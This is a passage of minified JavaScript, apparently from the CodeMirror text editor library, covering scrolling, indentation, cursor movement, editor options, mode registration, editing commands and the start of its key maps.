gk=G(gs,Math.min(gr.left,gi.left),Math.min(gr.top,gi.top)-gl,Math.max(gr.left,gi.left),Math.max(gr.bottom,gi.bottom)+gl);var gp=gs.doc.scrollTop,gj=gs.doc.scrollLeft;if(gk.scrollTop!=null){N(gs,gk.scrollTop);if(Math.abs(gs.doc.scrollTop-gp)>1){go=true}}if(gk.scrollLeft!=null){bF(gs,gk.scrollLeft);if(Math.abs(gs.doc.scrollLeft-gj)>1){go=true}}if(!go){break}}return gr}function E(gi,gk,gm,gj,gl){var gn=G(gi,gk,gm,gj,gl);if(gn.scrollTop!=null){N(gi,gn.scrollTop)}if(gn.scrollLeft!=null){bF(gi,gn.scrollLeft)}}function G(gu,gl,gt,gj,gs){var gq=gu.display,go=aY(gu.display);if(gt<0){gt=0}var gm=gu.curOp&&gu.curOp.scrollTop!=null?gu.curOp.scrollTop:gq.scroller.scrollTop;var gw=cW(gu),gy={};if(gs-gt>gw){gs=gt+gw}var gk=gu.doc.height+bJ(gq);var gi=gt<go,gp=gs>gk-go;if(gt<gm){gy.scrollTop=gi?0:gt}else{if(gs>gm+gw){var gr=Math.min(gt,(gp?gk:gs)-gw);if(gr!=gm){gy.scrollTop=gr}}}var gx=gu.curOp&&gu.curOp.scrollLeft!=null?gu.curOp.scrollLeft:gq.scroller.scrollLeft;var gv=dm(gu)-(gu.options.fixedGutter?gq.gutters.offsetWidth:0);var gn=gj-gl>gv;if(gn){gj=gl+gv}if(gl<10){gy.scrollLeft=0}else{if(gl<gx){gy.scrollLeft=Math.max(0,gl-(gn?0:10))}else{if(gj>gv+gx-3){gy.scrollLeft=gj+(gn?0:10)-gv}}}return gy}function cM(gi,gk,gj){if(gk!=null||gj!=null){fD(gi)}if(gk!=null){gi.curOp.scrollLeft=(gi.curOp.scrollLeft==null?gi.doc.scrollLeft:gi.curOp.scrollLeft)+gk}if(gj!=null){gi.curOp.scrollTop=(gi.curOp.scrollTop==null?gi.doc.scrollTop:gi.curOp.scrollTop)+gj}}function fG(gi){fD(gi);var gj=gi.getCursor(),gl=gj,gk=gj;if(!gi.options.lineWrapping){gl=gj.ch?W(gj.line,gj.ch-1):gj;gk=W(gj.line,gj.ch+1)}gi.curOp.scrollToPos={from:gl,to:gk,margin:gi.options.cursorScrollMargin,isCursor:true}}function fD(gi){var gk=gi.curOp.scrollToPos;if(gk){gi.curOp.scrollToPos=null;var gm=dI(gi,gk.from),gl=dI(gi,gk.to);var gj=G(gi,Math.min(gm.left,gl.left),Math.min(gm.top,gl.top)-gk.margin,Math.max(gm.right,gl.right),Math.max(gm.bottom,gl.bottom)+gk.margin);gi.scrollTo(gj.scrollLeft,gj.scrollTop)}}function ad(gv,gl,gu,gk){var gt=gv.doc,gj;if(gu==null){gu="add"}if(gu=="smart"){if(!gt.mode.indent){gu="prev"}else{gj=dD(gv,gl)}}var gp=gv.options.tabSize;var gw=fg(gt,gl),go=bU(gw.text,null,gp);if(gw.stateAfter){gw.stateAfter=null}var gi=gw.text.match(/^\s*/)[0],gr;if(!gk&&!/\S/.test(gw.text)){gr=0;gu="not"}else{if(gu=="smart"){gr=gt.mode.indent(gj,gw.text.slice(gi.length),gw.text);if(gr==cb||gr>150){if(!gk){return}gu="prev"}}}if(gu=="prev"){if(gl>gt.first){gr=bU(fg(gt,gl-1).text,null,gp)}else{gr=0}}else{if(gu=="add"){gr=go+gv.options.indentUnit}else{if(gu=="subtract"){gr=go-gv.options.indentUnit}else{if(typeof gu=="number"){gr=go+gu}}}}gr=Math.max(0,gr);var gs="",gq=0;if(gv.options.indentWithTabs){for(var gm=Math.floor(gr/gp);gm;--gm){gq+=gp;gs+="\t"}}if(gq<gr){gs+=cq(gr-gq)}if(gs!=gi){a2(gt,gs,W(gl,0),W(gl,gi.length),"+input");gw.stateAfter=null;return true}else{for(var gm=0;gm<gt.sel.ranges.length;gm++){var gn=gt.sel.ranges[gm];if(gn.head.line==gl&&gn.head.ch<gi.length){var gq=W(gl,gi.length);e(gt,gm,new dZ(gq,gq));break}}}}function eA(gl,gk,gi,gn){var gm=gk,gj=gk;if(typeof gk=="number"){gj=fg(gl,c6(gl,gk))}else{gm=bO(gk)}if(gm==null){return null}if(gn(gj,gm)&&gl.cm){R(gl.cm,gm,gi)}return gj}function eY(gi,go){var gj=gi.doc.sel.ranges,gm=[];for(var gl=0;gl<gj.length;gl++){var gk=go(gj[gl]);while(gm.length&&cg(gk.from,fH(gm).to)<=0){var gn=gm.pop();if(cg(gn.from,gk.from)<0){gk.from=gn.from;break}}gm.push(gk)}cN(gi,function(){for(var gp=gm.length-1;gp>=0;gp--){a2(gi.doc,"",gm[gp].from,gm[gp].to,"+delete")}fG(gi)})}function bx(gA,gm,gu,gt,go){var gr=gm.line,gs=gm.ch,gz=gu;var gj=fg(gA,gr);var gx=true;function gy(){var gB=gr+gu;if(gB<gA.first||gB>=gA.first+gA.size){return(gx=false)}gr=gB;return gj=fg(gA,gB)}function gw(gC){var gB=(go?u:ai)(gj,gs,gu,true);if(gB==null){if(!gC&&gy()){if(go){gs=(gu<0?cT:cF)(gj)}else{gs=gu<0?gj.text.length:0}}else{return(gx=false)}}else{gs=gB}return true}if(gt=="char"){gw()}else{if(gt=="column"){gw(true)}else{if(gt=="word"||gt=="group"){var gv=null,gp=gt=="group";var gi=gA.cm&&gA.cm.getHelper(gm,"wordChars");for(var gn=true;;gn=false){if(gu<0&&!gw(!gn)){break}var gk=gj.text.charAt(gs)||"\n";var gl=cB(gk,gi)?"w":gp&&gk=="\n"?"n":!gp||/\s/.test(gk)?null:"p";if(gp&&!gn&&!gl){gl="s"}if(gv&&gv!=gl){if(gu<0){gu=1;gw()}break}if(gl){gv=gl}if(gu>0&&!gw(!gn)){break}}}}}var gq=bW(gA,W(gr,gs),gz,true);if(!gx){gq.hitSide=true}return gq}function br(gq,gl,gi,gp){var go=gq.doc,gn=gl.left,gm;if(gp=="page"){var gk=Math.min(gq.display.wrapper.clientHeight,window.innerHeight||document.documentElement.clientHeight);gm=gl.top+gi*(gk-(gi<0?1.5:0.5)*aY(gq.display))}else{if(gp=="line"){gm=gi>0?gl.bottom+3:gl.top-3}}for(;;){var gj=fP(gq,gn,gm);if(!gj.outside){break}if(gi<0?gm<=0:gm>=go.height){gj.hitSide=true;break}gm+=gi*5}return gj}H.prototype={constructor:H,focus:function(){window.focus();this.display.input.focus()},setOption:function(gk,gl){var gj=this.options,gi=gj[gk];if(gj[gk]==gl&&gk!="mode"){return}gj[gk]=gl;if(bg.hasOwnProperty(gk)){c3(this,bg[gk])(this,gl,gi)}},getOption:function(gi){return this.options[gi]},getDoc:function(){return this.doc},addKeyMap:function(gj,gi){this.state.keyMaps[gi?"push":"unshift"](fY(gj))},removeKeyMap:function(gj){var gk=this.state.keyMaps;for(var gi=0;gi<gk.length;++gi){if(gk[gi]==gj||gk[gi].name==gj){gk.splice(gi,1);return true}}},addOverlay:c9(function(gi,gj){var gk=gi.token?gi:H.getMode(this.options,gi);if(gk.startState){throw new Error("Overlays may not be stateful.")}this.state.overlays.push({mode:gk,modeSpec:gi,opaque:gj&&gj.opaque});this.state.modeGen++;ah(this)}),removeOverlay:c9(function(gi){var gk=this.state.overlays;for(var gj=0;gj<gk.length;++gj){var gl=gk[gj].modeSpec;if(gl==gi||typeof gi=="string"&&gl.name==gi){gk.splice(gj,1);this.state.modeGen++;ah(this);return}}}),indentLine:c9(function(gk,gi,gj){if(typeof gi!="string"&&typeof gi!="number"){if(gi==null){gi=this.options.smartIndent?"smart":"prev"}else{gi=gi?"add":"subtract"}}if(ca(this.doc,gk)){ad(this,gk,gi,gj)}}),indentSelection:c9(function(gr){var gi=this.doc.sel.ranges,gl=-1;for(var gn=0;gn<gi.length;gn++){var go=gi[gn];if(!go.empty()){var gp=go.from(),gq=go.to();var gj=Math.max(gl,gp.line);gl=Math.min(this.lastLine(),gq.line-(gq.ch?0:1))+1;for(var gm=gj;gm<gl;++gm){ad(this,gm,gr)}var gk=this.doc.sel.ranges;if(gp.ch==0&&gi.length==gk.length&&gk[gn].from().ch>0){e(this.doc,gn,new dZ(gp,gk[gn].to()),Z)}}else{if(go.head.line>gl){ad(this,go.head.line,gr,true);gl=go.head.line;if(gn==this.doc.sel.primIndex){fG(this)}}}}}),getTokenAt:function(gj,gi){return cr(this,gj,gi)},getLineTokens:function(gj,gi){return cr(this,W(gj),gi,true)},getTokenTypeAt:function(gp){gp=fK(this.doc,gp);var gl=c7(this,fg(this.doc,gp.line));var gn=0,go=(gl.length-1)/2,gk=gp.ch;var gj;if(gk==0){gj=gl[2]}else{for(;;){var gi=(gn+go)>>1;if((gi?gl[gi*2-1]:0)>=gk){go=gi}else{if(gl[gi*2+1]<gk){gn=gi+1}else{gj=gl[gi*2+2];break}}}}var gm=gj?gj.indexOf("cm-overlay "):-1;return gm<0?gj:gm==0?null:gj.slice(0,gm-1)},getModeAt:function(gj){var gi=this.doc.mode;if(!gi.innerMode){return gi}return H.innerMode(gi,this.getTokenAt(gj).state).mode},getHelper:function(gj,gi){return this.getHelpers(gj,gi)[0]},getHelpers:function(gp,gk){var gl=[];if(!fp.hasOwnProperty(gk)){return gl}var gi=fp[gk],go=this.getModeAt(gp);if(typeof go[gk]=="string"){if(gi[go[gk]]){gl.push(gi[go[gk]])}}else{if(go[gk]){for(var gj=0;gj<go[gk].length;gj++){var gn=gi[go[gk][gj]];if(gn){gl.push(gn)}}}else{if(go.helperType&&gi[go.helperType]){gl.push(gi[go.helperType])}else{if(gi[go.name]){gl.push(gi[go.name])}}}}for(var gj=0;gj<gi._global.length;gj++){var gm=gi._global[gj];if(gm.pred(go,this)&&di(gl,gm.val)==-1){gl.push(gm.val)}}return gl},getStateAfter:function(gj,gi){var gk=this.doc;gj=c6(gk,gj==null?gk.first+gk.size-1:gj);return dD(this,gj+1,gi)},cursorCoords:function(gl,gj){var gk,gi=this.doc.sel.primary();if(gl==null){gk=gi.head}else{if(typeof gl=="object"){gk=fK(this.doc,gl)}else{gk=gl?gi.from():gi.to()}}return dV(this,gk,gj||"page")},charCoords:function(gj,gi){return cK(this,fK(this.doc,gj),gi||"page")},coordsChar:function(gi,gj){gi=gf(this,gi,gj||"page");return fP(this,gi.left,gi.top)},lineAtHeight:function(gi,gj){gi=gf(this,{top:gi,left:0},gj||"page").top;return bH(this.doc,gi+this.display.viewOffset)},heightAtLine:function(gj,gm){var gi=false,gk;if(typeof gj=="number"){var gl=this.doc.first+this.doc.size-1;if(gj<this.doc.first){gj=this.doc.first}else{if(gj>gl){gj=gl;gi=true}}gk=fg(this.doc,gj)}else{gk=gj}return eR(this,gk,{top:0,left:0},gm||"page").top+(gi?this.doc.height-bN(gk):0)},defaultTextHeight:function(){return aY(this.display)},defaultCharWidth:function(){return dE(this.display)},setGutterMarker:c9(function(gi,gj,gk){return eA(this.doc,gi,"gutter",function(gl){var gm=gl.gutterMarkers||(gl.gutterMarkers={});gm[gj]=gk;if(!gk&&eV(gm)){gl.gutterMarkers=null}return true})}),clearGutter:c9(function(gk){var gi=this,gl=gi.doc,gj=gl.first;gl.iter(function(gm){if(gm.gutterMarkers&&gm.gutterMarkers[gk]){gm.gutterMarkers[gk]=null;R(gi,gj,"gutter");if(eV(gm.gutterMarkers)){gm.gutterMarkers=null}}++gj})}),lineInfo:function(gi){if(typeof gi=="number"){if(!ca(this.doc,gi)){return null}var gj=gi;gi=fg(this.doc,gi);if(!gi){return null}}else{var gj=bO(gi);if(gj==null){return null}}return{line:gj,handle:gi,text:gi.text,gutterMarkers:gi.gutterMarkers,textClass:gi.textClass,bgClass:gi.bgClass,wrapClass:gi.wrapClass,widgets:gi.widgets}},getViewport:function(){return{from:this.display.viewFrom,to:this.display.viewTo}},addWidget:function(gn,gk,gp,gl,gr){var gm=this.display;gn=dV(this,fK(this.doc,gn));var go=gn.bottom,gj=gn.left;gk.style.position="absolute";gk.setAttribute("cm-ignore-events","true");this.display.input.setUneditable(gk);gm.sizer.appendChild(gk);if(gl=="over"){go=gn.top}else{if(gl=="above"||gl=="near"){var gi=Math.max(gm.wrapper.clientHeight,this.doc.height),gq=Math.max(gm.sizer.clientWidth,gm.lineSpace.clientWidth);if((gl=="above"||gn.bottom+gk.offsetHeight>gi)&&gn.top>gk.offsetHeight){go=gn.top-gk.offsetHeight}else{if(gn.bottom+gk.offsetHeight<=gi){go=gn.bottom}}if(gj+gk.offsetWidth>gq){gj=gq-gk.offsetWidth}}}gk.style.top=go+"px";gk.style.left=gk.style.right="";if(gr=="right"){gj=gm.sizer.clientWidth-gk.offsetWidth;gk.style.right="0px"}else{if(gr=="left"){gj=0}else{if(gr=="middle"){gj=(gm.sizer.clientWidth-gk.offsetWidth)/2}}gk.style.left=gj+"px"}if(gp){E(this,gj,go,gj+gk.offsetWidth,go+gk.offsetHeight)}},triggerOnKeyDown:c9(p),triggerOnKeyPress:c9(cy),triggerOnKeyUp:bj,execCommand:function(gi){if(eE.hasOwnProperty(gi)){return eE[gi](this)}},triggerElectric:c9(function(gi){fW(this,gi)}),findPosH:function(go,gl,gm,gj){var gi=1;if(gl<0){gi=-1;gl=-gl}for(var gk=0,gn=fK(this.doc,go);gk<gl;++gk){gn=bx(this.doc,gn,gi,gm,gj);if(gn.hitSide){break}}return gn},moveH:c9(function(gj,gk){var gi=this;gi.extendSelectionsBy(function(gl){if(gi.display.shift||gi.doc.extend||gl.empty()){return bx(gi.doc,gl.head,gj,gk,gi.options.rtlMoveVisually)}else{return gj<0?gl.from():gl.to()}},cX)}),deleteH:c9(function(gi,gj){var gk=this.doc.sel,gl=this.doc;if(gk.somethingSelected()){gl.replaceSelection("",null,"+delete")}else{eY(this,function(gn){var gm=bx(gl,gn.head,gi,gj,false);return gi<0?{from:gm,to:gn.head}:{from:gn.head,to:gm}})}}),findPosV:function(gn,gk,go,gq){var gi=1,gm=gq;if(gk<0){gi=-1;gk=-gk}for(var gj=0,gp=fK(this.doc,gn);gj<gk;++gj){var gl=dV(this,gp,"div");if(gm==null){gm=gl.left}else{gl.left=gm}gp=br(this,gl,gi,go);if(gp.hitSide){break}}return gp},moveV:c9(function(gj,gl){var gi=this,gn=this.doc,gm=[];var go=!gi.display.shift&&!gn.extend&&gn.sel.somethingSelected();gn.extendSelectionsBy(function(gp){if(go){return gj<0?gp.from():gp.to()}var gr=dV(gi,gp.head,"div");if(gp.goalColumn!=null){gr.left=gp.goalColumn}gm.push(gr.left);var gq=br(gi,gr,gj,gl);if(gl=="page"&&gp==gn.sel.primary()){cM(gi,null,cK(gi,gq,"div").top-gr.top)}return gq},cX);if(gm.length){for(var gk=0;gk<gn.sel.ranges.length;gk++){gn.sel.ranges[gk].goalColumn=gm[gk]}}}),findWordAt:function(gp){var gn=this.doc,gl=fg(gn,gp.line).text;var go=gp.ch,gk=gp.ch;if(gl){var gm=this.getHelper(gp,"wordChars");if((gp.xRel<0||gk==gl.length)&&go){--go}else{++gk}var gj=gl.charAt(go);var gi=cB(gj,gm)?function(gq){return cB(gq,gm)}:/\s/.test(gj)?function(gq){return/\s/.test(gq)}:function(gq){return !/\s/.test(gq)&&!cB(gq)};while(go>0&&gi(gl.charAt(go-1))){--go}while(gk<gl.length&&gi(gl.charAt(gk))){++gk}}return new dZ(W(gp.line,go),W(gp.line,gk))},toggleOverwrite:function(gi){if(gi!=null&&gi==this.state.overwrite){return}if(this.state.overwrite=!this.state.overwrite){fB(this.display.cursorDiv,"CodeMirror-overwrite")}else{f(this.display.cursorDiv,"CodeMirror-overwrite")}aE(this,"overwriteToggle",this,this.state.overwrite)},hasFocus:function(){return this.display.input.getField()==dP()},scrollTo:c9(function(gi,gj){if(gi!=null||gj!=null){fD(this)}if(gi!=null){this.curOp.scrollLeft=gi}if(gj!=null){this.curOp.scrollTop=gj}}),getScrollInfo:function(){var gi=this.display.scroller;return{left:gi.scrollLeft,top:gi.scrollTop,height:gi.scrollHeight-cU(this)-this.display.barHeight,width:gi.scrollWidth-cU(this)-this.display.barWidth,clientHeight:cW(this),clientWidth:dm(this)}},scrollIntoView:c9(function(gj,gk){if(gj==null){gj={from:this.doc.sel.primary().head,to:null};if(gk==null){gk=this.options.cursorScrollMargin}}else{if(typeof gj=="number"){gj={from:W(gj,0),to:null}}else{if(gj.from==null){gj={from:gj,to:null}}}}if(!gj.to){gj.to=gj.from}gj.margin=gk||0;if(gj.from.line!=null){fD(this);this.curOp.scrollToPos=gj}else{var gi=G(this,Math.min(gj.from.left,gj.to.left),Math.min(gj.from.top,gj.to.top)-gj.margin,Math.max(gj.from.right,gj.to.right),Math.max(gj.from.bottom,gj.to.bottom)+gj.margin);this.scrollTo(gi.scrollLeft,gi.scrollTop)}}),setSize:c9(function(gl,gj){var gi=this;function gk(gn){return typeof gn=="number"||/^\d+$/.test(String(gn))?gn+"px":gn}if(gl!=null){gi.display.wrapper.style.width=gk(gl)}if(gj!=null){gi.display.wrapper.style.height=gk(gj)}if(gi.options.lineWrapping){aO(this)}var gm=gi.display.viewFrom;gi.doc.iter(gm,gi.display.viewTo,function(gn){if(gn.widgets){for(var go=0;go<gn.widgets.length;go++){if(gn.widgets[go].noHScroll){R(gi,gm,"widget");break}}}++gm});gi.curOp.forceUpdate=true;aE(gi,"refresh",this)}),operation:function(gi){return cN(this,gi)},refresh:c9(function(){var gi=this.display.cachedTextHeight;ah(this);this.curOp.forceUpdate=true;ak(this);this.scrollTo(this.doc.scrollLeft,this.doc.scrollTop);c5(this);if(gi==null||Math.abs(gi-aY(this.display))>0.5){X(this)}aE(this,"refresh",this)}),swapDoc:c9(function(gj){var gi=this.doc;gi.cm=null;ec(this,gj);ak(this);this.display.input.reset();this.scrollTo(gj.scrollLeft,gj.scrollTop);this.curOp.forceScroll=true;ae(this,"swapDoc",this,gi);return gi}),getInputField:function(){return this.display.input.getField()},getWrapperElement:function(){return this.display.wrapper},getScrollerElement:function(){return this.display.scroller},getGutterElement:function(){return this.display.gutters}};bz(H);var e4=H.defaults={};var bg=H.optionHandlers={};function s(gi,gl,gk,gj){H.defaults[gi]=gl;if(gk){bg[gi]=gj?function(gm,go,gn){if(gn!=cd){gk(gm,go,gn)}}:gk}}var cd=H.Init={toString:function(){return"CodeMirror.Init"}};s("value","",function(gi,gj){gi.setValue(gj)},true);s("mode",null,function(gi,gj){gi.doc.modeOption=gj;bs(gi)},true);s("indentUnit",2,bs,true);s("indentWithTabs",false);s("smartIndent",true);s("tabSize",4,function(gi){em(gi);ak(gi);ah(gi)},true);s("specialChars",/[\t\u0000-\u0019\u00ad\u200b-\u200f\u2028\u2029\ufeff]/g,function(gi,gk,gj){gi.state.specialChars=new RegExp(gk.source+(gk.test("\t")?"":"|\t"),"g");if(gj!=H.Init){gi.refresh()}});s("specialCharPlaceholder",fd,function(gi){gi.refresh()},true);s("electricChars",true);s("inputStyle",eh?"contenteditable":"textarea",function(){throw new Error("inputStyle can not (yet) be changed in a running editor")},true);s("rtlMoveVisually",!aP);s("wholeLineUpdateBefore",true);s("theme","default",function(gi){cP(gi);dx(gi)},true);s("keyMap","default",function(gi,gm,gj){var gk=fY(gm);var gl=gj!=H.Init&&fY(gj);if(gl&&gl.detach){gl.detach(gi,gk)}if(gk.attach){gk.attach(gi,gl||null)}});s("extraKeys",null);s("lineWrapping",false,eH,true);s("gutters",[],function(gi){cf(gi.options);dx(gi)},true);s("fixedGutter",true,function(gi,gj){gi.display.gutters.style.left=gj?dY(gi.display)+"px":"0";gi.refresh()},true);s("coverGutterNextToScrollbar",false,function(gi){eZ(gi)},true);s("scrollbarStyle","native",function(gi){aD(gi);eZ(gi);gi.display.scrollbars.setScrollTop(gi.doc.scrollTop);gi.display.scrollbars.setScrollLeft(gi.doc.scrollLeft)},true);s("lineNumbers",false,function(gi){cf(gi.options);dx(gi)},true);s("firstLineNumber",1,dx,true);s("lineNumberFormatter",function(gi){return gi},dx,true);s("showCursorWhenSelecting",false,bD,true);s("resetSelectionOnContextMenu",true);s("lineWiseCopyCut",true);s("readOnly",false,function(gi,gj){if(gj=="nocursor"){aV(gi);gi.display.input.blur();gi.display.disabled=true}else{gi.display.disabled=false;if(!gj){gi.display.input.reset()}}});s("disableInput",false,function(gi,gj){if(!gj){gi.display.input.reset()}},true);s("dragDrop",true,f1);s("cursorBlinkRate",530);s("cursorScrollMargin",0);s("cursorHeight",1,bD,true);s("singleCursorHeightPerLine",true,bD,true);s("workTime",100);s("workDelay",100);s("flattenSpans",true,em,true);s("addModeClass",false,em,true);s("pollInterval",100);s("undoDepth",200,function(gi,gj){gi.doc.history.undoDepth=gj});s("historyEventDelay",1250);s("viewportMargin",10,function(gi){gi.refresh()},true);s("maxHighlightLength",10000,em,true);s("moveInputWithCursor",true,function(gi,gj){if(!gj){gi.display.input.resetPosition()}});s("tabindex",null,function(gi,gj){gi.display.input.getField().tabIndex=gj||""});s("autofocus",null);var dt=H.modes={},aS=H.mimeModes={};H.defineMode=function(gi,gj){if(!H.defaults.mode&&gi!="null"){H.defaults.mode=gi}if(arguments.length>2){gj.dependencies=Array.prototype.slice.call(arguments,2)}dt[gi]=gj};H.defineMIME=function(gj,gi){aS[gj]=gi};H.resolveMode=function(gi){if(typeof gi=="string"&&aS.hasOwnProperty(gi)){gi=aS[gi]}else{if(gi&&typeof gi.name=="string"&&aS.hasOwnProperty(gi.name)){var gj=aS[gi.name];if(typeof gj=="string"){gj={name:gj}}gi=cl(gj,gi);gi.name=gj.name}else{if(typeof gi=="string"&&/^[\w\-]+\/[\w\-]+\+xml$/.test(gi)){return H.resolveMode("application/xml")}}}if(typeof gi=="string"){return{name:gi}}else{return gi||{name:"null"}}};H.getMode=function(gj,gi){var gi=H.resolveMode(gi);var gl=dt[gi.name];if(!gl){return H.getMode(gj,"text/plain")}var gm=gl(gj,gi);if(dq.hasOwnProperty(gi.name)){var gk=dq[gi.name];for(var gn in gk){if(!gk.hasOwnProperty(gn)){continue}if(gm.hasOwnProperty(gn)){gm["_"+gn]=gm[gn]}gm[gn]=gk[gn]}}gm.name=gi.name;if(gi.helperType){gm.helperType=gi.helperType}if(gi.modeProps){for(var gn in gi.modeProps){gm[gn]=gi.modeProps[gn]}}return gm};H.defineMode("null",function(){return{token:function(gi){gi.skipToEnd()}}});H.defineMIME("text/plain","null");var dq=H.modeExtensions={};H.extendMode=function(gk,gj){var gi=dq.hasOwnProperty(gk)?dq[gk]:(dq[gk]={});aN(gj,gi)};H.defineExtension=function(gi,gj){H.prototype[gi]=gj};H.defineDocExtension=function(gi,gj){at.prototype[gi]=gj};H.defineOption=s;var a9=[];H.defineInitHook=function(gi){a9.push(gi)};var fp=H.helpers={};H.registerHelper=function(gj,gi,gk){if(!fp.hasOwnProperty(gj)){fp[gj]=H[gj]={_global:[]}}fp[gj][gi]=gk};H.registerGlobalHelper=function(gk,gj,gi,gl){H.registerHelper(gk,gj,gl);fp[gk]._global.push({pred:gi,val:gl})};var b4=H.copyState=function(gl,gi){if(gi===true){return gi}if(gl.copyState){return gl.copyState(gi)}var gk={};for(var gm in gi){var gj=gi[gm];if(gj instanceof Array){gj=gj.concat([])}gk[gm]=gj}return gk};var b1=H.startState=function(gk,gj,gi){return gk.startState?gk.startState(gj,gi):true};H.innerMode=function(gk,gi){while(gk.innerMode){var gj=gk.innerMode(gi);if(!gj||gj.mode==gk){break}gi=gj.state;gk=gj.mode}return gj||{mode:gk,state:gi}};var eE=H.commands={selectAll:function(gi){gi.setSelection(W(gi.firstLine(),0),W(gi.lastLine()),Z)},singleSelection:function(gi){gi.setSelection(gi.getCursor("anchor"),gi.getCursor("head"),Z)},killLine:function(gi){eY(gi,function(gk){if(gk.empty()){var gj=fg(gi.doc,gk.head.line).text.length;if(gk.head.ch==gj&&gk.head.line<gi.lastLine()){return{from:gk.head,to:W(gk.head.line+1,0)}}else{return{from:gk.head,to:W(gk.head.line,gj)}}}else{return{from:gk.from(),to:gk.to()}}})},deleteLine:function(gi){eY(gi,function(gj){return{from:W(gj.from().line,0),to:fK(gi.doc,W(gj.to().line+1,0))}})},delLineLeft:function(gi){eY(gi,function(gj){return{from:W(gj.from().line,0),to:gj.from()}})},delWrappedLineLeft:function(gi){eY(gi,function(gj){var gl=gi.charCoords(gj.head,"div").top+5;var gk=gi.coordsChar({left:0,top:gl},"div");return{from:gk,to:gj.from()}})},delWrappedLineRight:function(gi){eY(gi,function(gj){var gl=gi.charCoords(gj.head,"div").top+5;var gk=gi.coordsChar({left:gi.display.lineDiv.offsetWidth+100,top:gl},"div");return{from:gj.from(),to:gk}})},undo:function(gi){gi.undo()},redo:function(gi){gi.redo()},undoSelection:function(gi){gi.undoSelection()},redoSelection:function(gi){gi.redoSelection()},goDocStart:function(gi){gi.extendSelection(W(gi.firstLine(),0))},goDocEnd:function(gi){gi.extendSelection(W(gi.lastLine()))},goLineStart:function(gi){gi.extendSelectionsBy(function(gj){return bu(gi,gj.head.line)},{origin:"+move",bias:1})},goLineStartSmart:function(gi){gi.extendSelectionsBy(function(gj){return dJ(gi,gj.head)},{origin:"+move",bias:1})},goLineEnd:function(gi){gi.extendSelectionsBy(function(gj){return dQ(gi,gj.head.line)},{origin:"+move",bias:-1})},goLineRight:function(gi){gi.extendSelectionsBy(function(gj){var gk=gi.charCoords(gj.head,"div").top+5;return gi.coordsChar({left:gi.display.lineDiv.offsetWidth+100,top:gk},"div")},cX)},goLineLeft:function(gi){gi.extendSelectionsBy(function(gj){var gk=gi.charCoords(gj.head,"div").top+5;return gi.coordsChar({left:0,top:gk},"div")},cX)},goLineLeftSmart:function(gi){gi.extendSelectionsBy(function(gj){var gk=gi.charCoords(gj.head,"div").top+5;var gl=gi.coordsChar({left:0,top:gk},"div");if(gl.ch<gi.getLine(gl.line).search(/\S/)){return dJ(gi,gj.head)}return gl},cX)},goLineUp:function(gi){gi.moveV(-1,"line")},goLineDown:function(gi){gi.moveV(1,"line")},goPageUp:function(gi){gi.moveV(-1,"page")},goPageDown:function(gi){gi.moveV(1,"page")},goCharLeft:function(gi){gi.moveH(-1,"char")},goCharRight:function(gi){gi.moveH(1,"char")},goColumnLeft:function(gi){gi.moveH(-1,"column")},goColumnRight:function(gi){gi.moveH(1,"column")},goWordLeft:function(gi){gi.moveH(-1,"word")},goGroupRight:function(gi){gi.moveH(1,"group")},goGroupLeft:function(gi){gi.moveH(-1,"group")},goWordRight:function(gi){gi.moveH(1,"word")},delCharBefore:function(gi){gi.deleteH(-1,"char")},delCharAfter:function(gi){gi.deleteH(1,"char")},delWordBefore:function(gi){gi.deleteH(-1,"word")},delWordAfter:function(gi){gi.deleteH(1,"word")},delGroupBefore:function(gi){gi.deleteH(-1,"group")},delGroupAfter:function(gi){gi.deleteH(1,"group")},indentAuto:function(gi){gi.indentSelection("smart")},indentMore:function(gi){gi.indentSelection("add")},indentLess:function(gi){gi.indentSelection("subtract")},insertTab:function(gi){gi.replaceSelection("\t")},insertSoftTab:function(gi){var gk=[],gj=gi.listSelections(),gn=gi.options.tabSize;for(var gm=0;gm<gj.length;gm++){var go=gj[gm].from();var gl=bU(gi.getLine(go.line),go.ch,gn);gk.push(new Array(gn-gl%gn+1).join(" "))}gi.replaceSelections(gk)},defaultTab:function(gi){if(gi.somethingSelected()){gi.indentSelection("add")}else{gi.execCommand("insertTab")}},transposeChars:function(gi){cN(gi,function(){var gl=gi.listSelections(),gk=[];for(var gm=0;gm<gl.length;gm++){var go=gl[gm].head,gj=fg(gi.doc,go.line).text;if(gj){if(go.ch==gj.length){go=new W(go.line,go.ch-1)}if(go.ch>0){go=new W(go.line,go.ch+1);gi.replaceRange(gj.charAt(go.ch-1)+gj.charAt(go.ch-2),W(go.line,go.ch-2),go,"+transpose")}else{if(go.line>gi.doc.first){var gn=fg(gi.doc,go.line-1).text;if(gn){gi.replaceRange(gj.charAt(0)+"\n"+gn.charAt(gn.length-1),W(go.line-1,gn.length-1),W(go.line,1),"+transpose")}}}}gk.push(new dZ(go,go))}gi.setSelections(gk)})},newlineAndIndent:function(gi){cN(gi,function(){var gj=gi.listSelections().length;for(var gl=0;gl<gj;gl++){var gk=gi.listSelections()[gl];gi.replaceRange("\n",gk.anchor,gk.head,"+input");gi.indentLine(gk.from().line+1,null,true);fG(gi)}})},toggleOverwrite:function(gi){gi.toggleOverwrite()}};var fb=H.keyMap={};fb.basic={Left:"goCharLeft",Right:"goCharRight",Up:"goLineUp",Down:"goLineDown",End:"goLineEnd",Home:"goLineStartSmart",PageUp:"goPageUp",PageDown:"goPageDown",Delete:"delCharAfter",Backspace:"delCharBefore","Shift-Backspace":"delCharBefore",Tab:"defaultTab","Shift-Tab":"indentAuto",Enter:"newlineAndIndent",Insert:"toggleOverwrite",Esc:"singleSelection"};fb.pcDefault={"Ctrl-A":"selectAll","Ctrl-D":"deleteLine","Ctrl-Z":"undo","Shift-Ctrl-Z":"redo","Ctrl-Y":"redo","Ctrl-Home":"goDocStart","Ctrl-End":"goDocEnd","Ctrl-Up":"goLineUp","Ctrl-Down":"goLineDown","Ctrl-Left":"goGroupLeft","Ctrl-Right":"goGroupRight","Alt-Left":"goLineStart","Alt-Right":"goLineEnd","Ctrl-Backspace":"delGroupBefore","Ctrl-Delete":"delGroupAfter","Ctrl-S":"save","Ctrl-F":"find","Ctrl-G":"findNext","Shift-Ctrl-G":"findPrev","Shift-Ctrl-F":"replace","Shift-Ctrl-R":"replaceAll","Ctrl-[":"indentLess","Ctrl-]":"indentMore","Ctrl-U":"undoSelection","Shift-Ctrl-U":"redoSelection","Alt-U":"redoSelection",fallthrough:"basic"};fb.emacsy={"Ctrl-F":"goCharRight","Ctrl-B":"goCharLeft","Ctrl-P":"goLineUp","Ctrl-N":"goLineDown","Alt-F":"goWordRight","Alt-B":"goWordLeft","Ctrl-A":"goLineStart","Ctrl-E":"goLineEnd","Ct